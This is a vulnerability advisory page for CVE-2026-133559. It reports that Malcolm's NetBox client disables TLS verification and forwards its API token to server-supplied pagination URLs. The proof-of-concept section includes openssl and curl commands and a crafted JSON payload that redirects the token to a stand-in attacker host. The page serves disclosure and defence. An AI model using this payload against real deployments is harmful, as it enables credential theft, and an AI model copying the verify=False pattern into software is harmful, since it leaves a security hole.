CVE-2026-133559
NVD
Vulnerability Summary
Summary When Malcolm is configured for a remote NetBox instance, the Malcolm API’s NetBox client calls NetBox with requests.get(..., verify=False), hard-coded with no configuration option to enable verification. The NetBox API token is sent as an Authorization: Token header on these unverified connections. An attacker who can intercept or redirect traffic between the Malcolm API container and remote NetBox can present an untrusted certificate and capture the token. The site-list endpoint also follows a server-supplied next pagination URL with the same header, so a malicious response can redirect the token to an attacker-chosen host. The upload page fetches /mapi/netbox-sites automatically on load, and /mapi/ready also triggers the request, so no attacker-controlled Malcolm interaction is required beyond normal use. Not reachable out of the box — NETBOX_MODE defaults to disabled and the embedded path uses plain HTTP — but applies to remote HTTPS NetBox deployments, which Malcolm’s own documentation explicitly recommends. Not a duplicate of GHSA-5wxm-fqf2-r23g (Keycloak) or MAL-M-01 (Zeek feeds) — separate component, separate credential. This report is based on static analysis assisted by AI tooling; no live Malcolm/NetBox stack was deployed to confirm the exchange or token redirection end to end. Details ``` api/project/config.py:40-41 netboxToken = os.environ.get('NETBOX_TOKEN', os.environ.get('SUPERUSER_API_TOKEN')) netboxUrl = os.environ.get('NETBOX_URL') api/project/init.py:203-204 loads netboxToken / netboxUrl from config api/project/init.py:1421-1427 (readiness check) requests.get(f"{netboxUrl}/api/?format=json", headers={"Authorization": f"Token {netboxToken}"}, verify=False) api/project/init.py:1708-1712 (site-list endpoint) requests.get(f"{netboxUrl}/api/dcim/sites/?format=json", headers={"Authorization": f"Token {netboxToken}"}, verify=False) api/project/init.py:1725 url = data.get("next") # followed with the same Authorization header, verify=False file-upload/site/index.html:339 javascript fetch('/mapi/netbox-sites') // called automatically on page load docs/malcolm-config.md:145 instructs operators to use an https:// remote NetBox URL, e.g. https://netbox.example.org Shipped defaults (embedded path, not affected by this TLS issue): config/netbox-common.env.example:30-32 NETBOX_MODE=disabled NETBOX_URL=http://netbox:8080/netbox config/netbox-secret.env.example:10 NETBOX_TOKEN / SUPERUSER_API_TOKEN configuration There is no NetBox TLS-verification environment variable analogous to a KEYCLOAK_SSL_VERIFY setting — verify=False is hard-coded with no opt-out. ``` Proof of concept Environment: authorized lab deployment with NETBOX_MODE=remote. This is a source-level finding; no Malcolm/NetBox stack was deployed to run it end to end. 1. Run a test endpoint with an untrusted certificate: ``` bash openssl req -x509 -newkey rsa:2048 -nodes \ -keyout test-key.pem -out test-cert.pem -days 1 \ -subj '/CN=test-netbox' openssl s_server -accept 8443 -cert test-cert.pem -key test-key.pem -www ``` 2. Configure Malcolm for the remote test NetBox: ``` NETBOX_MODE=remote NETBOX_URL=https://127.0.0.1:8443/netbox NETBOX_TOKEN=0123456789abcdef0123456789abcdef01234567 ``` 3. Trigger the API request: ``` bash curl -k -u user:password https://malcolm.example/mapi/netbox-sites ``` or simply open the file-upload page, which calls /mapi/netbox-sites on load. 4. At the test endpoint/proxy, observe: - TLS handshake proceeds despite the untrusted certificate - Authorization: Token <netboxToken> header is visible in plaintext to the on-path attacker 5. Confirm token redirection via pagination — return a crafted response: ``` json {"next": "https://attacker.example/x"} ``` Observe that the Malcolm API follows this URL with the same Authorization header attached, sending the token directly to the attacker-chosen host. In a real on-path attack, the attacker presents a self-signed certificate and relies on verify=False, which is exactly what this code does. Impact - Disclosure of the NetBox API token, potentially exposing or allowing modification of NetBox sites, devices, prefixes, and other inventory data depending on token permissions (the code also falls back to SUPERUSER_API_TOKEN). - Token can be redirected to an attacker-chosen host via the "next" pagination URL, simplifying exfiltration. - Not reachable out of the box — requires NETBOX_MODE=remote with an https:// NetBox URL, which Malcolm's own documentation recommends operators use. - No Malcolm authentication bypass, RCE, or direct access to captured network traffic from this finding alone. - References: GHSA-5wxm-fqf2-r23g — same class (CWE-295), remote Keycloak path, separate component. MAL-M-01 — same class, Zeek threat-feed client, separate component. I State clearly this is a distinct finding from GHSA-5wxm-fqf2-r23g and MAL-M-01, and is not reachable with NETBOX_MODE at its default value.
CVSS v3.1 Base Metrics — Score 7.4
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:NAttack VectorNetwork
Attack ComplexityHigh
Privileges RequiredNone
User InteractionNone
ScopeUnchanged
ConfidentialityHigh
IntegrityHigh
AvailabilityNone
Affected & Patched Versions
- Malcolm <= v26.10.0
- Malcolm v26.12.0
What to do
Prioritize this fix. Exploit code is public, so attacks can follow quickly.
- Check whether you run Malcolm and which version.
- Update to a patched version listed above, then confirm the new version.
- Review logs and exposed services for signs of earlier compromise.
Timeline
- Dec 4, 2026Published
- Dec 4, 2026Record last modified
Score, severity and exploitation changes are tracked from the day Watchtower started logging them.
Get notified about new Malcolm CVEsYou are reading CVE-2026-133559. Get an email when KEV listings, exploits or new CVEs match your stack.
Set up CVE alertsExternal References
Data last checked: Dec 5, 2026 05:01 UTC